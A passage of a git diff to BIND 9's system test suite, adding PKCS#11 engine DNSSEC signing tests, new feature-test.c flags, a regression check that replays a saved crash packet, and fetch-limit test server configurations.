+			zskid1=$(keyfile_to_key_id $zsk1)
+			kskid1=$(keyfile_to_key_id $ksk1)
+			echo "$zskid1" > $zone.zskid1
+			echo "$kskid1" > $zone.kskid1
+		)
+
+		echo_i "Sign zone with $ksk1 $zsk1"
+		cat "$infile" "${dir}/${ksk1}.key" "${dir}/${zsk1}.key" > "${dir}/${zonefile}"
+		$SIGNER $ENGINE_ARG -K $dir -S -a -g -O full -o "$zone" "${dir}/${zonefile}" > signer.out.$zone || ret=1
+		test "$ret" -eq 0 || exit 1
+
+		echo_i "Generate successor keys $alg $type:$bits for zone $zone"
+		keygen $type $bits $zone enginepkcs11-zsk2 || ret=1
+		keygen $type $bits $zone enginepkcs11-ksk2 || ret=1
+		test "$ret" -eq 0 || exit 1
+
+		echo_i "Get ZSK $alg $id-$zone $type:$bits"
+		zsk2=$(keyfromlabel $alg $zone enginepkcs11-zsk2 $dir)
+		test -z "$zsk2" && exit 1
+
+		echo_i "Get KSK $alg $id-$zone $type:$bits"
+		ksk2=$(keyfromlabel $alg $zone enginepkcs11-ksk2 $dir -f KSK)
+		test -z "$ksk2" && exit 1
+
+		(
+			cd $dir
+			zskid2=$(keyfile_to_key_id $zsk2)
+			kskid2=$(keyfile_to_key_id $ksk2)
+			echo "$zskid2" > $zone.zskid2
+			echo "$kskid2" > $zone.kskid2
+			cp "${zsk2}.key" "${zsk2}.zsk2"
+			cp "${ksk2}.key" "${ksk2}.ksk2"
+		)
+
+		echo_i "Add zone $zone to named.conf"
+		cat >> "${dir}/named.conf" <<EOF
+zone "$zone" {
+	type primary;
+	file "${zonefile}.signed";
+	allow-update { any; };
+};
+
+EOF
+        fi
+done
diff --git a/bin/tests/system/enginepkcs11/tests.sh b/bin/tests/system/enginepkcs11/tests.sh
new file mode 100644
index 0000000000..94b9320a37
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/tests.sh
@@ -0,0 +1,177 @@
+#!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+parse_openssl_config
+PWD=$(pwd)
+
+status=0
+ret=0
+n=0
+
+dig_with_opts() (
+	$DIG +tcp +noadd +nosea +nostat +nocmd +dnssec -p "$PORT" "$@"
+)
+
+# Perform tests inside ns1 dir
+cd ns1
+
+for algtypebits in rsasha256:rsa:2048 rsasha512:rsa:2048 \
+		   ecdsap256sha256:EC:prime256v1 ecdsap384sha384:EC:prime384v1
+		   # Edwards curves are not yet supported by OpenSC
+		   # ed25519:EC:edwards25519 ed448:EC:edwards448
+do
+	alg=$(echo "$algtypebits" | cut -f 1 -d :)
+	type=$(echo "$algtypebits" | cut -f 2 -d :)
+	bits=$(echo "$algtypebits" | cut -f 3 -d :)
+	zone="${alg}.example"
+	zonefile="zone.${zone}.db.signed"
+
+        if [ ! -f $zonefile ]; then
+		echo_i "skipping test for ${alg}:${type}:${bits}, no signed zone file ${zonefile}"
+		continue
+	fi
+
+	# Basic checks if setup was successful.
+	n=$((n+1))
+	ret=0
+	echo_i "Test key generation was successful for $zone ($n)"
+	count=$(ls K*.key | grep "K${zone}" | wc -l)
+	test "$count" -eq 4 || ret=1
+	test "$ret" -eq 0 || echo_i "failed (expected 4 keys, got $count)"
+	status=$((status+ret))
+
+	n=$((n+1))
+	ret=0
+	echo_i "Test zone signing was successful for $zone ($n)"
+	$VERIFY -z -o $zone "${zonefile}" > verify.out.$zone.$n 2>&1 || ret=1
+	test "$ret" -eq 0 || echo_i "failed (dnssec-verify failed)"
+	status=$((status+ret))
+
+	# Test inline signing with keys stored in engine.
+	zskid1=$(cat "${zone}.zskid1")
+	zskid2=$(cat "${zone}.zskid2")
+
+	n=$((n+1))
+	ret=0
+	echo_i "Test inline signing for $zone ($n)"
+	dig_with_opts "$zone" @10.53.0.1 SOA > dig.out.soa.$zone.$n || ret=1
+	awk '$4 == "RRSIG" { print $11 }' dig.out.soa.$zone.$n > dig.out.keyids.$zone.$n || return 1
+	numsigs=$(cat dig.out.keyids.$zone.$n | wc -l)
+	test $numsigs -eq 1 || return 1
+	grep -w "$zskid1" dig.out.keyids.$zone.$n > /dev/null || return 1
+	test "$ret" -eq 0 || echo_i "failed (SOA RRset not signed with key $zskid1)"
+	status=$((status+ret))
+
+
+	n=$((n+1))
+	ret=0
+	echo_i "Dynamically update $zone, add new zsk ($n)"
+	zsk2=$(grep -v ';' K${zone}.*.zsk2)
+	cat > "update.cmd.zsk.$zone.$n" <<EOF
+server 10.53.0.1 $PORT
+ttl 300
+zone $zone
+update add $zsk2
+send
+EOF
+
+	$NSUPDATE -v > "update.log.zsk.$zone.$n" < "update.cmd.zsk.$zone.$n" || ret=1
+	test "$ret" -eq 0 || echo_i "failed (update failed)"
+	status=$((status+ret))
+
+	n=$((n+1))
+	ret=0
+	echo_i "Test DNSKEY response for $zone after inline signing ($n)"
+	_dig_dnskey() (
+		dig_with_opts "$zone" @10.53.0.1 DNSKEY > dig.out.dnskey.$zone.$n || return 1
+		count=$(awk 'BEGIN { count = 0 } $4 == "DNSKEY" { count++ } END {print count}' dig.out.dnskey.$zone.$n)
+		test $count -eq 3
+	)
+	retry_quiet 10 _dig_dnskey || ret=1
+	test "$ret" -eq 0 || echo_i "failed (expected 3 DNSKEY records)"
+	status=$((status+ret))
+
+	n=$((n+1))
+	ret=0
+	echo_i "Test SOA response for $zone after inline signing ($n)"
+	_dig_soa() (
+		dig_with_opts "$zone" @10.53.0.1 SOA > dig.out.soa.$zone.$n || return 1
+		awk '$4 == "RRSIG" { print $11 }' dig.out.soa.$zone.$n > dig.out.keyids.$zone.$n || return 1
+		numsigs=$(cat dig.out.keyids.$zone.$n | wc -l)
+		test $numsigs -eq 2 || return 1
+		grep -w "$zskid1" dig.out.keyids.$zone.$n > /dev/null || return 1
+		grep -w "$zskid2" dig.out.keyids.$zone.$n > /dev/null || return 1
+		return 0
+	)
+	retry_quiet 10 _dig_soa || ret=1
+	test "$ret" -eq 0 || echo_i "failed (expected 2 SOA RRSIG records)"
+	status=$((status+ret))
+
+	# Test inline signing with keys stored in engine (key signing).
+	kskid1=$(cat "${zone}.kskid1")
+	kskid2=$(cat "${zone}.kskid2")
+
+	n=$((n+1))
+	ret=0
+	echo_i "Dynamically update $zone, add new ksk ($n)"
+	ksk2=$(grep -v ';' K${zone}.*.ksk2)
+	cat > "update.cmd.ksk.$zone.$n" <<EOF
+server 10.53.0.1 $PORT
+ttl 300
+zone $zone
+update add $ksk2
+send
+EOF
+
+	$NSUPDATE -v > "update.log.ksk.$zone.$n" < "update.cmd.ksk.$zone.$n" || ret=1
+	test "$ret" -eq 0 || echo_i "failed (update failed)"
+	status=$((status+ret))
+
+	n=$((n+1))
+	ret=0
+	echo_i "Test DNSKEY response for $zone after inline signing (key signing) ($n)"
+	_dig_dnskey_ksk() (
+		dig_with_opts "$zone" @10.53.0.1 DNSKEY > dig.out.dnskey.$zone.$n || return 1
+		count=$(awk 'BEGIN { count = 0 } $4 == "DNSKEY" { count++ } END {print count}' dig.out.dnskey.$zone.$n)
+		test $count -eq 4 || return 1
+		awk '$4 == "RRSIG" { print $11 }' dig.out.dnskey.$zone.$n > dig.out.keyids.$zone.$n || return 1
+		numsigs=$(cat dig.out.keyids.$zone.$n | wc -l)
+		test $numsigs -eq 2 || return 1
+		grep -w "$kskid1" dig.out.keyids.$zone.$n > /dev/null || return 1
+		grep -w "$kskid2" dig.out.keyids.$zone.$n > /dev/null || return 1
+		return 0
+	)
+	retry_quiet 10 _dig_dnskey_ksk || ret=1
+	test "$ret" -eq 0 || echo_i "failed (expected 4 DNSKEY records, 2 KSK signatures)"
+	status=$((status+ret))
+
+done
+
+# Go back to main test dir.
+cd ..
+
+n=$((n+1))
+ret=0
+echo_i "Checking for assertion failure in pk11_numbits()"
+$PERL ../packet.pl -a "10.53.0.1" -p "$PORT" -t udp 2037-pk11_numbits-crash-test.pkt
+dig_with_opts @10.53.0.1 version.bind. CH TXT > dig.out.pk11_numbits || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "exit status: $status"
+[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/enginepkcs11/tests_sh_enginepkcs11.py b/bin/tests/system/enginepkcs11/tests_sh_enginepkcs11.py
new file mode 100644
index 0000000000..334142dde2
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/tests_sh_enginepkcs11.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_enginepkcs11(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/feature-test.c b/bin/tests/system/feature-test.c
index 1d29d3036f..5b3c504d62 100644
--- a/bin/tests/system/feature-test.c
+++ b/bin/tests/system/feature-test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,24 +11,27 @@
  * information regarding copyright ownership.
  */
 
+#include <limits.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 
+#include <openssl/crypto.h>
+#include <openssl/opensslv.h>
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+#include <openssl/provider.h>
+#endif
+
+#include <isc/fips.h>
+#include <isc/md.h>
+#include <isc/mem.h>
 #include <isc/net.h>
-#include <isc/print.h>
 #include <isc/util.h>
 
 #include <dns/edns.h>
 
-#ifndef MAXHOSTNAMELEN
-#ifdef HOST_NAME_MAX
-#define MAXHOSTNAMELEN HOST_NAME_MAX
-#else /* ifdef HOST_NAME_MAX */
-#define MAXHOSTNAMELEN 256
-#endif /* ifdef HOST_NAME_MAX */
-#endif /* ifndef MAXHOSTNAMELEN */
+#include <dst/dst.h>
 
 static void
 usage(void) {
@@ -35,15 +40,24 @@ usage(void) {
 	fprintf(stderr, "\t--edns-version\n");
 	fprintf(stderr, "\t--enable-dnsrps\n");
 	fprintf(stderr, "\t--enable-dnstap\n");
+	fprintf(stderr, "\t--enable-querytrace\n");
+	fprintf(stderr, "\t--fips-provider\n");
 	fprintf(stderr, "\t--gethostname\n");
 	fprintf(stderr, "\t--gssapi\n");
+	fprintf(stderr, "\t--have-fips-dh\n");
+	fprintf(stderr, "\t--have-fips-mode\n");
 	fprintf(stderr, "\t--have-geoip2\n");
+	fprintf(stderr, "\t--have-json-c\n");
 	fprintf(stderr, "\t--have-libxml2\n");
 	fprintf(stderr, "\t--ipv6only=no\n");
+	fprintf(stderr, "\t--md5\n");
+	fprintf(stderr, "\t--rsasha1\n");
 	fprintf(stderr, "\t--tsan\n");
 	fprintf(stderr, "\t--with-dlz-filesystem\n");
-	fprintf(stderr, "\t--with-idn\n");
+	fprintf(stderr, "\t--with-libidn2\n");
 	fprintf(stderr, "\t--with-lmdb\n");
+	fprintf(stderr, "\t--with-libnghttp2\n");
+	fprintf(stderr, "\t--with-zlib\n");
 }
 
 int
@@ -78,8 +92,28 @@ main(int argc, char **argv) {
 #endif /* ifdef HAVE_DNSTAP */
 	}
 
+	if (strcmp(argv[1], "--enable-querytrace") == 0) {
+#ifdef WANT_QUERYTRACE
+		return (0);
+#else  /* ifdef WANT_QUERYTRACE */
+		return (1);
+#endif /* ifdef WANT_QUERYTRACE */
+	}
+
+	if (strcasecmp(argv[1], "--fips-provider") == 0) {
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+		OSSL_PROVIDER *fips = OSSL_PROVIDER_load(NULL, "fips");
+		if (fips != NULL) {
+			OSSL_PROVIDER_unload(fips);
+		}
+		return (fips != NULL ? 0 : 1);
+#else
+		return (1);
+#endif
+	}
+
 	if (strcmp(argv[1], "--gethostname") == 0) {
-		char hostname[MAXHOSTNAMELEN];
+		char hostname[_POSIX_HOST_NAME_MAX + 1];
 		int n;
 
 		n = gethostname(hostname, sizeof(hostname));
@@ -99,6 +133,33 @@ main(int argc, char **argv) {
 #endif /* HAVE_GSSAPI */
 	}
 
+	if (strcmp(argv[1], "--have-fips-dh") == 0) {
+#if defined(ENABLE_FIPS_MODE)
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+		return (0);
+#else
+		return (1);
+#endif
+#else
+		if (isc_fips_mode()) {
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+			return (0);
+#else
+			return (1);
+#endif
+		}
+		return (0);
+#endif
+	}
+
+	if (strcmp(argv[1], "--have-fips-mode") == 0) {
+#if defined(ENABLE_FIPS_MODE)
+		return (0);
+#else
+		return (isc_fips_mode() ? 0 : 1);
+#endif
+	}
+
 	if (strcmp(argv[1], "--have-geoip2") == 0) {
 #ifdef HAVE_GEOIP2
 		return (0);
@@ -107,6 +168,14 @@ main(int argc, char **argv) {
 #endif /* ifdef HAVE_GEOIP2 */
 	}
 
+	if (strcmp(argv[1], "--have-json-c") == 0) {
+#ifdef HAVE_JSON_C
+		return (0);
+#else  /* ifdef HAVE_JSON_C */
+		return (1);
+#endif /* ifdef HAVE_JSON_C */
+	}
+
 	if (strcmp(argv[1], "--have-libxml2") == 0) {
 #ifdef HAVE_LIBXML2
 		return (0);
@@ -128,6 +197,18 @@ main(int argc, char **argv) {
 #endif
 	}
 
+	if (strcmp(argv[1], "--md5") == 0) {
+		isc_mem_t *mctx = NULL;
+		int answer;
+
+		isc_mem_create(&mctx);
+		dst_lib_init(mctx, NULL);
+		answer = dst_algorithm_supported(DST_ALG_HMACMD5) ? 0 : 1;
+		dst_lib_destroy();
+		isc_mem_detach(&mctx);
+		return (answer);
+	}
+
 	if (strcmp(argv[1], "--ipv6only=no") == 0) {
 #if defined(IPPROTO_IPV6) && defined(IPV6_V6ONLY)
 		int s;
@@ -147,6 +228,17 @@ main(int argc, char **argv) {
 #endif /* defined(IPPROTO_IPV6) && defined(IPV6_V6ONLY) */
 	}
 
+	if (strcasecmp(argv[1], "--rsasha1") == 0) {
+		int answer;
+		isc_mem_t *mctx = NULL;
+		isc_mem_create(&mctx);
+		dst_lib_init(mctx, NULL);
+		answer = dst_algorithm_supported(DST_ALG_RSASHA1) ? 0 : 1;
+		dst_lib_destroy();
+		isc_mem_detach(&mctx);
+		return (answer);
+	}
+
 	if (strcmp(argv[1], "--with-dlz-filesystem") == 0) {
 #ifdef DLZ_FILESYSTEM
 		return (0);
@@ -155,7 +247,7 @@ main(int argc, char **argv) {
 #endif /* ifdef DLZ_FILESYSTEM */
 	}
 
-	if (strcmp(argv[1], "--with-idn") == 0) {
+	if (strcmp(argv[1], "--with-libidn2") == 0) {
 #ifdef HAVE_LIBIDN2
 		return (0);
 #else  /* ifdef HAVE_LIBIDN2 */
@@ -171,6 +263,22 @@ main(int argc, char **argv) {
 #endif /* ifdef HAVE_LMDB */
 	}
 
+	if (strcmp(argv[1], "--with-libnghttp2") == 0) {
+#ifdef HAVE_LIBNGHTTP2
+		return (0);
+#else  /* ifdef HAVE_LIBNGHTTP2 */
+		return (1);
+#endif /* ifdef HAVE_LIBNGHTTP2 */
+	}
+
+	if (strcmp(argv[1], "--with-zlib") == 0) {
+#ifdef HAVE_ZLIB
+		return (0);
+#else  /* ifdef HAVE_ZLIB */
+		return (1);
+#endif /* ifdef HAVE_ZLIB */
+	}
+
 	fprintf(stderr, "unknown arg: %s\n", argv[1]);
 	usage();
 	return (1);
diff --git a/bin/tests/system/fetchlimit/ans4/ans.pl b/bin/tests/system/fetchlimit/ans4/ans.pl
index 1c459d6f13..f44cf8b7e9 100644
--- a/bin/tests/system/fetchlimit/ans4/ans.pl
+++ b/bin/tests/system/fetchlimit/ans4/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -76,6 +78,10 @@
 	}
 
 	if ($donotrespond == 0) {
+		if (index($qname, "latency") == 0) {
+			# 50ms latency
+			select(undef, undef, undef, 0.05);
+		}
 		$sock->send($packet->data);
 		print "RESPONSE:\n";
 		$packet->print;
diff --git a/bin/tests/system/fetchlimit/clean.sh b/bin/tests/system/fetchlimit/clean.sh
index c3da1314af..20bbd60e1d 100644
--- a/bin/tests/system/fetchlimit/clean.sh
+++ b/bin/tests/system/fetchlimit/clean.sh
@@ -1,17 +1,21 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-rm -f */named.conf */named.memstats */ans.run */named.recursing */named.run
-rm -f dig.out*
+rm -f */named.conf */named.memstats */ans.run */named.recursing */named.run */named.run.prev
 rm -f ans4/norespond
-rm -f ns3/named.stats ns3/named_dump.db
 rm -f burst.input.*
+rm -f dig.out*
+rm -f wait_for_message.*
 rm -f ns*/managed-keys.bind*
+rm -f ns3/named.stats ns3/named.stats.prev ns3/named_dump.db
+rm -f ns5/named.stats ns5/named.stats.prev
diff --git a/bin/tests/system/fetchlimit/ns1/named.conf.in b/bin/tests/system/fetchlimit/ns1/named.conf.in
index 83243e8f48..9725d01869 100644
--- a/bin/tests/system/fetchlimit/ns1/named.conf.in
+++ b/bin/tests/system/fetchlimit/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/fetchlimit/ns1/root.db b/bin/tests/system/fetchlimit/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/fetchlimit/ns1/root.db
+++ b/bin/tests/system/fetchlimit/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/fetchlimit/ns2/example.db b/bin/tests/system/fetchlimit/ns2/example.db
index 40929b3b23..5bf9999963 100644
--- a/bin/tests/system/fetchlimit/ns2/example.db
+++ b/bin/tests/system/fetchlimit/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/fetchlimit/ns2/named.conf.in b/bin/tests/system/fetchlimit/ns2/named.conf.in
index 2d42aac3a0..1d57632f3a 100644
--- a/bin/tests/system/fetchlimit/ns2/named.conf.in
+++ b/bin/tests/system/fetchlimit/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,7 +26,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/fetchlimit/ns3/named.args b/bin/tests/system/fetchlimit/ns3/named.args
index 6bd3e6cf64..d3488cefe1 100644
--- a/bin/tests/system/fetchlimit/ns3/named.args
+++ b/bin/tests/system/fetchlimit/ns3/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 1 -D fetchlimit-ns3 -X named.lock -g -T maxcachesize=2097152
+-m record -c named.conf -d 1 -D fetchlimit-ns3 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/fetchlimit/ns3/named1.conf.in b/bin/tests/system/fetchlimit/ns3/named1.conf.in
index 50c7bbb43b..e493d8a4d7 100644
--- a/bin/tests/system/fetchlimit/ns3/named1.conf.in
+++ b/bin/tests/system/fetchlimit/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,9 +28,13 @@ options {
 	fetches-per-server 400;
 };
 
+server 10.53.0.4 {
+	edns no;
+};
+
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/fetchlimit/ns3/named2.conf.in b/bin/tests/system/fetchlimit/ns3/named2.conf.in
index cc00ca41ae..2d0dcef24b 100644
--- a/bin/tests/system/fetchlimit/ns3/named2.conf.in
+++ b/bin/tests/system/fetchlimit/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,9 +26,13 @@ options {
 	fetches-per-zone 40;
 };
 
+server 10.53.0.4 {
+	edns no;
+};
+
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/fetchlimit/ns3/named3.conf.in b/bin/tests/system/fetchlimit/ns3/named3.conf.in
index 69c95dc449..f056fbbf7b 100644
--- a/bin/tests/system/fetchlimit/ns3/named3.conf.in
+++ b/bin/tests/system/fetchlimit/ns3/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,9 +26,13 @@ options {
 	recursive-clients 400;
 };
 
+server 10.53.0.4 {
+	edns no;
+};
+
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/fetchlimit/ns3/root.hint b/bin/tests/system/fetchlimit/ns3/root.hint
index 418ea963fa..e0f186c2f8 100644
--- a/bin/tests/system/fetchlimit/ns3/root.hint
+++ b/bin/tests/system/fetchlimit/ns3/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/fetchlimit/ns5/named1.conf.in b/bin/tests/system/fetchlimit/ns5/named1.conf.in
new file mode 100644
index 0000000000..d3c62c225c
--- /dev/null
+++ b/bin/tests/system/fetchlimit/ns5/named1.conf.in
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.5;
+	notify-source 10.53.0.5;
+	transfer-source 10.53.0.5;
+	port @PORT@;
+	directory ".";
+	pid-file "named.pid";
+	listen-on { 10.53.0.5; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation yes;
+	notify yes;
+	clients-per-query 5;
+	max-clients-per-query 10;
+};
+
+server 10.53.0.4 {
+	edns no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "." {
+	type hint;
+	file "root.hint";
+};
diff --git a/bin/tests/system/fetchlimit/ns5/named2.conf.in b/bin/tests/system/fetchlimit/ns5/named2.conf.in
new file mode 100644
index 0000000000..cb33d30716
--- /dev/null
+++ b/bin/tests/system/fetchlimit/ns5/named2.conf.in
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.5;
+	notify-source 10.53.0.5;
+	transfer-source 10.53.0.5;
+	port @PORT@;
+	directory ".";
+	pid-file "named.pid";
+	listen-on { 10.53.0.5; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation yes;
+	notify yes;
+	stale-answer-enable yes;
+	stale-cache-enable yes;
+	stale-answer-client-timeout 1800;
+	clients-per-query 5;
+	max-clients-per-query 10;
+};
+
+server 10.53.0.4 {
+	edns no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "." {
+	type hint;
+	file "root.hint";
+};
diff --git a/bin/tests/system/fetchlimit/ns5/root.hint b/bin/tests/system/fetchlimit/ns5/root.hint
new file mode 100644
index 0000000000..e0f186c2f8
--- /dev/null
+++ b/bin/tests/system/fetchlimit/ns5/root.hint
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 999999
+.			 IN NS	a.root-servers.nil.
